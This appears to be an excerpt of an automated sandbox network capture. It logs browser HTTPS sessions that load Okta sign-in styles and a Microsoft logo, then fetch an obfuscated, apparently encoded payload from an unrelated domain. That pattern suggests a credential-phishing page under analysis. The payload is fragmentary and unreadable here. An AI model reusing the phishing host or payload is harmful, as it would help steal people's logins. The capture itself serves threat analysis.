64 64 69 6e 67 2d 6c 65 66 74 3a 32 31 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6f 2d 66 Data Ascii: -form-toolbar.ui-tabs .o-form-pillbar.ui-tabs-nav li.ui-state-active:last-child>a{border-right-color:#1b90c5}#okta-sign-in .o-form-toolbar.ui-tabs .o-form-pillbar.ui-tabs-nav li.ui-state-active+li>a{border-left-width:0;padding-left:21px}#okta-sign-in .o-f
2024-10-24 09:57:31 UTC	16384	IN	Data Raw: 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2d 64 69 73 6d 69 73 73 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2d 64 69 73 6d 69 73 73 2d 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 35 65 35 65 35 65 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 34 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 38 70 78 3b 74 6f 70 3a 31 30 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 69 6e 66 6f 62 6f 78 2d 64 69 73 6d 69 73 73 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 23 6f 6b 74 61 Data Ascii: 0px}#okta-sign-in .infobox-dismiss{padding-right:30px}#okta-sign-in .infobox-dismiss-link{color:#5e5e5e;cursor:pointer;display:block;line-height:14px;position:absolute;right:8px;top:10px}#okta-sign-in .infobox-dismiss-link:hover{text-decoration:none}#okta
2024-10-24 09:57:31 UTC	16384	IN	Data Raw: 72 65 6d 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6d 66 61 2d 76 65 72 69 66 79 2d 65 6d 61 69 6c 20 2e 6d 61 73 6b 2d 65 6d 61 69 6c 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6d 66 61 2d 76 65 72 69 66 79 2d 65 6d 61 69 6c 20 2e 72 65 73 65 6e 64 2d 65 6d 61 69 6c 2d 62 74 6e 7b 63 6f 6c 6f 72 3a 23 30 30 37 34 62 33 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6d 66 61 2d 76 65 72 69 66 79 2d 65 6d 61 69 6c 20 2e 6d 66 61 2d 65 6d 61 69 6c 2d 73 65 6e 74 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 6e 75 6d 62 65 72 2d 63 68 61 6c 6c 65 6e 67 65 2d 76 69 65 77 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 74 65 Data Ascii: rem}#okta-sign-in .mfa-verify-email .mask-email{font-weight:600}#okta-sign-in .mfa-verify-email .resend-email-btn{color:#0074b3}#okta-sign-in .mfa-verify-email .mfa-email-sent-content{margin-bottom:15px}#okta-sign-in .number-challenge-view{display:none;te
2024-10-24 09:57:31 UTC	16384	IN	Data Raw: 6e 2f 6f 72 63 69 64 5f 6c 6f 67 6f 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 31 32 70 78 2f 32 34 70 78 2c 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 39 30 64 65 67 2c 23 66 66 66 20 35 30 70 78 2c 23 66 62 66 62 66 62 20 30 29 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 33 63 33 63 33 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 6f 63 69 61 6c 2d 61 75 74 68 2d 6f 72 63 69 64 2d 62 75 74 74 6f 6e 3a 61 63 74 69 76 65 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 6f 63 69 61 6c 2d 61 75 74 68 2d 6f 72 63 69 64 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 73 6f 63 69 61 6c 2d 61 75 74 68 2d 6f 72 63 69 64 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: n/orcid_logo.png) no-repeat 12px/24px,linear-gradient(90deg,#fff 50px,#fbfbfb 0);border:1px solid #c3c3c3}#okta-sign-in .social-auth-orcid-button:active,#okta-sign-in .social-auth-orcid-button:focus,#okta-sign-in .social-auth-orcid-button:hover{background
2024-10-24 09:57:31 UTC	16384	IN	Data Raw: 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 34 38 30 70 78 29 7b 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 73 6d 73 20 2e 65 6e 72 6f 6c 6c 2d 73 6d 73 2d 70 68 6f 6e 65 7b 77 69 64 74 68 3a 31 36 35 70 78 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 34 30 30 70 78 29 7b 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 73 6d 73 20 2e 65 6e 72 6f 6c 6c 2d 73 6d 73 2d 70 68 6f 6e 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 7d 23 6f 6b 74 61 2d 73 69 67 6e 2d 69 6e 20 2e 65 6e 72 6f 6c 6c 2d 73 6d 73 20 2e 63 68 7a 6e 2d 64 72 6f 70 3e 2e 63 68 7a 6e 2d 73 65 61 72 63 Data Ascii: reen and (max-device-width:480px){#okta-sign-in .enroll-sms .enroll-sms-phone{width:165px}}@media only screen and (max-width:400px){#okta-sign-in .enroll-sms .enroll-sms-phone{margin-bottom:15px;width:100%}}#okta-sign-in .enroll-sms .chzn-drop>.chzn-searc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49718	13.33.187.14	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	572	OUT	GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:31 UTC	769	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 10498 Connection: close Date: Mon, 07 Oct 2024 12:50:03 GMT Server: nginx Last-Modified: Thu, 14 Mar 2024 00:03:58 GMT ETag: "e0d37a504604ef874bad26435d62011f" x-amz-meta-sha1sum: 4301f0d2b729ae22adece657d79eccaa25f429b1 Expires: Tue, 07 Oct 2025 12:50:03 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 d2c570942164f5ee69dab53f43b0f1d2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: mlS5ikgT3UfcHJk9y-LRnxdi5hie9Am_zKQjlbUwiHYT5Spb9pY3iw== Age: 1458448
2024-10-24 09:57:31 UTC	10498	IN	Data Raw: 61 2c 61 62 62 72 2c 61 63 72 6f 6e 79 6d 2c 61 64 64 72 65 73 73 2c 61 70 70 6c 65 74 2c 62 2c 62 69 67 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 62 6f 64 79 2c 63 61 70 74 69 6f 6e 2c 63 65 6e 74 65 72 2c 63 69 74 65 2c 63 6f 64 65 2c 64 64 2c 64 65 6c 2c 64 66 6e 2c 64 69 76 2c 64 6c 2c 64 74 2c 65 6d 2c 66 69 65 6c 64 73 65 74 2c 66 6f 72 6d 2c 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 74 6d 6c 2c 69 2c 69 66 72 61 6d 65 2c 69 6d 67 2c 69 6e 73 2c 6b 62 64 2c 6c 61 62 65 6c 2c 6c 65 67 65 6e 64 2c 6c 69 2c 6f 62 6a 65 63 74 2c 6f 6c 2c 70 2c 70 72 65 2c 71 2c 73 2c 73 61 6d 70 2c 73 6d 61 6c 6c 2c 73 70 61 6e 2c 73 74 72 69 6b 65 2c 73 74 72 6f 6e 67 2c 73 75 62 2c 73 75 70 2c 74 61 62 6c 65 2c 74 62 6f 64 79 2c 74 64 2c 74 66 6f 6f 74 2c 74 Data Ascii: a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49717	13.33.187.14	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	574	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:31 UTC	684	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Mon, 14 Oct 2024 07:29:52 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Tue, 14 Oct 2025 07:29:52 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 32803d0ba3af70cddd7db80d2fd00608.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: qT7kr3npN0h9jHnHzaBdqC6jBv1Eq2A6ycKgEIcwMeas_UcYZXSHaw== Age: 872859
2024-10-24 09:57:31 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49719	152.199.21.175	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	620	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:31 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18414075 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Thu, 24 Oct 2024 09:57:31 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (lhc/7936) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 91dbb46b-a01e-00e9-0b81-7e3c42000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-10-24 09:57:31 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49725	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	394	OUT	GET /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/admin/lifeattach HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:33 UTC	1094	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v4n7qeheaegngerc6unnh0c883; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bocfd3agb7ZYxdAdPrlaLi7K3xioAQgWirFm%2FpY%2F2ZnbinWZ1S%2FiG17wxexCBNq%2BQ36je7SRkqGmE6HaBYIkc9r4CFVta%2Fh6fD9s0ftbH3ccsYjlh%2F3fpoJuJfxK63nZgD3Qzg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791a676c187d57-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1803&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=972&delivery_rate=1593835&cwnd=251&unsent_bytes=0&cid=ca6826684ea51ca3&ts=1953&x=0"
2024-10-24 09:57:33 UTC	275	IN	Data Raw: 32 35 35 66 0d 0a 4c 6c 32 64 33 77 55 52 6f 31 45 56 35 46 56 4f 52 78 32 5a 71 70 31 55 78 6b 30 53 48 4e 58 4f 50 56 30 64 31 64 31 51 78 45 48 54 57 5a 6b 4d 58 35 32 59 72 70 46 52 77 51 33 56 75 35 45 64 69 74 6d 55 4f 42 56 65 4e 74 6d 5a 55 46 54 62 6b 74 6d 57 50 74 45 52 4a 4e 33 53 56 68 54 63 61 5a 46 4e 34 45 47 53 53 52 6e 59 44 4a 30 63 5a 64 56 4e 75 42 31 55 4b 78 6d 59 70 6c 30 4b 44 70 47 65 76 70 31 56 47 74 47 55 6e 39 47 4f 6a 4e 6a 55 31 49 32 52 56 64 57 59 58 46 56 4f 4a 31 6d 55 73 70 56 62 47 46 6a 59 49 4a 6c 5a 5a 4e 6a 54 36 6c 6b 61 31 38 47 5a 48 46 7a 63 6c 4a 6a 57 32 4a 6d 62 52 52 6e 57 74 5a 45 64 68 64 46 65 31 38 6b 62 4f 68 6d 59 75 31 45 64 6a 4a 6a 56 35 46 32 56 5a 64 44 54 58 46 6a 65 4d 68 6c 55 73 56 47 53 52 Data Ascii: 255fLl2d3wURo1EV5FVORx2Zqp1Uxk0SHNXOPV0d1d1QxEHTWZkMX52YrpFRwQ3Vu5EditmUOBVeNtmZUFTbktmWPtERJN3SVhTcaZFN4EGSSRnYDJ0cZdVNuB1UKxmYpl0KDpGevp1VGtGUn9GOjNjU1I2RVdWYXFVOJ1mUspVbGFjYIJlZZNjT6lka18GZHFzclJjW2JmbRRnWtZEdhdFe18kbOhmYu1EdjJjV5F2VZdDTXFjeMhlUsVGSR
2024-10-24 09:57:33 UTC	1369	IN	Data Raw: 45 6c 4e 4e 52 56 51 33 70 45 56 7a 52 48 5a 79 59 56 61 68 4a 44 62 77 77 45 57 53 78 57 5a 49 46 46 64 6a 4a 44 62 32 6f 31 55 78 67 6d 57 48 42 58 4d 6a 4e 54 55 32 30 45 56 42 64 6e 53 59 46 54 61 69 4a 6a 55 31 55 6d 4d 78 67 32 59 74 52 47 63 69 70 32 62 33 5a 32 56 47 6c 48 5a 48 78 6d 61 69 64 55 56 7a 6c 46 57 4f 42 6e 57 48 56 31 63 61 64 6b 56 77 6b 31 56 73 4e 33 59 35 68 58 62 68 64 46 5a 71 6c 46 57 43 42 54 59 58 6c 54 64 4d 64 6b 57 77 70 31 4d 57 6c 6e 57 54 68 58 62 69 4a 54 4f 77 6f 46 57 4a 4e 58 59 48 5a 46 61 61 64 6b 56 35 78 30 52 6f 35 32 59 74 6c 54 4d 6a 4e 45 65 30 6c 31 56 73 56 48 54 48 46 44 62 69 35 57 56 7a 4a 57 62 47 4a 44 54 49 35 45 62 5a 4e 6a 55 77 4a 6d 4d 30 4d 33 59 7a 59 46 64 69 64 6c 52 35 56 47 57 30 74 57 59 Data Ascii: ElNNRVQ3pEVzRHZyYVahJDbwwEWSxWZIFFdjJDb2o1UxgmWHBXMjNTU20EVBdnSYFTaiJjU1UmMxg2YtRGcip2b3Z2VGlHZHxmaidUVzlFWOBnWHV1cadkVwk1VsN3Y5hXbhdFZqlFWCBTYXlTdMdkWwp1MWlnWThXbiJTOwoFWJNXYHZFaadkV5x0Ro52YtlTMjNEe0l1VsVHTHFDbi5WVzJWbGJDTI5EbZNjUwJmM0M3YzYFdidlR5VGW0tWY
2024-10-24 09:57:33 UTC	1369	IN	Data Raw: 47 53 4b 78 57 5a 79 6b 6a 4d 61 68 6c 53 74 4a 32 52 35 4d 7a 54 74 5a 55 4d 6b 64 55 4f 35 6b 6c 4d 35 73 6d 57 54 68 6e 63 5a 31 57 55 7a 4e 47 53 4b 78 47 54 49 35 45 61 69 68 6c 51 33 6f 56 62 35 55 48 5a 44 46 54 62 5a 64 56 4d 77 4a 47 53 72 5a 6a 59 58 6c 54 64 69 4e 6a 54 33 6c 31 56 4f 78 47 54 48 46 6a 64 69 31 57 4f 36 4e 32 52 47 70 6d 57 55 52 58 62 69 4a 54 4e 77 77 45 57 4f 42 58 5a 74 56 6c 4e 4e 64 6c 56 30 5a 32 56 4b 46 44 5a 49 4a 6c 64 69 6c 47 65 77 4a 6d 62 43 46 44 5a 44 68 6e 64 6a 68 6b 55 75 4e 57 62 35 45 7a 59 44 68 6e 65 61 64 46 65 73 6c 31 4d 52 4e 48 5a 48 5a 46 4e 6b 64 6b 52 35 70 31 56 47 64 54 57 79 6b 7a 63 69 4e 54 53 32 45 32 56 31 38 6d 57 59 70 45 63 6b 52 45 64 74 4a 6d 4d 31 41 7a 54 74 78 57 64 68 64 6b 56 35 Data Ascii: GSKxWZykjMahlStJ2R5MzTtZUMkdUO5klM5smWThncZ1WUzNGSKxGTI5EaihlQ3oVb5UHZDFTbZdVMwJGSrZjYXlTdiNjT3l1VOxGTHFjdi1WO6N2RGpmWURXbiJTNwwEWOBXZtVlNNdlV0Z2VKFDZIJldilGewJmbCFDZDhndjhkUuNWb5EzYDhneadFesl1MRNHZHZFNkdkR5p1VGdTWykzciNTS2E2V18mWYpEckREdtJmM1AzTtxWdhdkV5
2024-10-24 09:57:33 UTC	1369	IN	Data Raw: 61 69 4e 44 61 35 45 32 56 31 63 48 5a 59 4a 6c 59 6b 68 45 62 33 70 46 56 78 6f 6e 57 58 5a 55 65 5a 4a 44 61 6b 39 6b 61 76 52 48 5a 79 59 56 61 68 4a 44 62 77 77 45 57 4f 78 57 57 59 70 6b 61 68 4e 55 4d 71 6c 31 56 31 6f 6d 57 58 64 48 64 5a 35 6d 56 77 51 32 52 35 55 48 54 48 78 57 64 6a 68 6b 56 77 63 31 4d 53 56 7a 59 48 56 56 4f 6a 4a 6a 56 6f 4e 57 62 4f 39 47 57 55 39 6d 4e 4d 68 46 5a 73 6c 56 62 30 42 48 5a 44 46 6a 65 61 64 6c 52 35 6c 6c 4d 6e 52 6e 57 48 5a 6c 61 69 4e 6a 53 6f 52 32 52 73 5a 6e 59 75 4e 48 64 6b 4a 6a 56 70 46 6d 4d 73 42 44 54 58 5a 30 64 6a 64 6b 56 6f 4e 57 62 47 56 58 57 79 55 6c 4e 69 31 57 4f 31 70 46 57 78 30 57 59 58 5a 31 63 61 68 6b 54 73 52 47 53 30 6c 6d 59 7a 6f 30 61 61 68 56 53 32 30 45 57 43 52 54 53 49 35 Data Ascii: aiNDa5E2V1cHZYJlYkhEb3pFVxonWXZUeZJDak9kavRHZyYVahJDbwwEWOxWWYpkahNUMql1V1omWXdHdZ5mVwQ2R5UHTHxWdjhkVwc1MSVzYHVVOjJjVoNWbO9GWU9mNMhFZslVb0BHZDFjeadlR5llMnRnWHZlaiNjSoR2RsZnYuNHdkJjVpFmMsBDTXZ0djdkVoNWbGVXWyUlNi1WO1pFWx0WYXZ1cahkTsRGS0lmYzo0aahVS20EWCRTSI5
2024-10-24 09:57:33 UTC	1369	IN	Data Raw: 42 78 32 54 79 67 47 62 68 64 46 5a 76 52 47 52 77 68 47 5a 59 4a 6c 64 6d 4e 56 4e 77 4a 32 56 6a 52 58 57 79 77 57 65 5a 4a 44 65 73 56 6d 4d 4b 5a 33 59 74 4a 46 62 6a 6c 57 4d 35 6c 31 56 53 42 48 5a 59 31 6b 4e 4f 52 56 51 73 5a 32 55 31 6f 33 59 70 46 6a 64 69 31 47 65 31 55 32 4d 43 5a 33 59 79 77 47 4d 68 64 56 4f 31 39 55 62 47 6c 32 59 79 6b 7a 63 6b 68 6c 55 73 39 30 4d 6b 42 6e 57 49 4a 31 62 50 70 6d 52 33 56 47 52 30 39 6d 57 58 78 6d 62 68 68 55 55 32 30 45 57 43 52 7a 54 79 45 44 61 6a 31 47 5a 77 4a 6d 61 76 52 58 54 59 4a 45 4e 50 4e 6a 51 6f 70 31 52 53 42 6e 59 74 4e 6d 4e 4e 52 45 64 32 52 57 62 57 6c 6e 57 74 68 6e 64 6b 70 48 63 76 46 32 56 53 74 6d 57 58 52 7a 4e 5a 4a 44 65 77 4e 47 52 77 6c 6e 57 58 35 45 4d 4c 52 55 51 7a 31 30 Data Ascii: Bx2TygGbhdFZvRGRwhGZYJldmNVNwJ2VjRXWywWeZJDesVmMKZ3YtJFbjlWM5l1VSBHZY1kNORVQsZ2U1o3YpFjdi1Ge1U2MCZ3YywGMhdVO19UbGl2YykzckhlUs90MkBnWIJ1bPpmR3VGR09mWXxmbhhUU20EWCRzTyEDaj1GZwJmavRXTYJENPNjQop1RSBnYtNmNNREd2RWbWlnWthndkpHcvF2VStmWXRzNZJDewNGRwlnWX5EMLRUQz10
2024-10-24 09:57:33 UTC	1369	IN	Data Raw: 31 47 62 6f 6c 55 52 78 67 47 5a 48 64 57 61 50 4a 6a 57 32 4a 6d 62 52 52 33 59 79 77 6d 4e 61 52 31 62 34 35 45 57 43 52 7a 54 79 67 48 63 69 31 57 56 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 57 53 33 4e 47 53 6e 64 6a 57 74 6c 54 64 6b 4e 55 4d 7a 6f 31 56 73 35 57 59 49 46 6c 4e 4f 52 55 51 33 39 6b 4d 61 5a 6e 59 75 46 46 64 6a 4a 44 62 32 6f 46 56 76 56 33 54 55 31 30 4d 4f 68 6c 53 73 4a 47 56 30 4e 58 59 58 56 44 62 4d 64 46 61 73 46 32 56 6b 39 47 5a 45 39 47 65 4d 70 57 53 78 4d 57 62 57 52 33 54 7a 49 45 61 61 64 6b 55 77 4a 57 62 6a 52 58 57 74 6c 44 4d 6b 64 55 4f 30 39 55 61 30 6b 58 54 7a 49 45 4e 50 4e 6a 51 6f 70 31 52 53 42 6e 59 74 4e 47 64 6b 64 55 4f 33 39 55 61 30 6b 58 54 7a 49 45 4e 50 4a 6a 54 32 4a 32 52 35 6b 33 54 70 31 30 64 Data Ascii: 1GbolURxgGZHdWaPJjW2JmbRR3YywmNaR1b45EWCRzTygHci1WV0F2RWBnWygGMPpWS3NGSndjWtlTdkNUMzo1Vs5WYIFlNORUQ39kMaZnYuFFdjJDb2oFVvV3TU10MOhlSsJGV0NXYXVDbMdFasF2Vk9GZE9GeMpWSxMWbWR3TzIEaadkUwJWbjRXWtlDMkdUO09Ua0kXTzIENPNjQop1RSBnYtNGdkdUO39Ua0kXTzIENPJjT2J2R5k3Tp10d
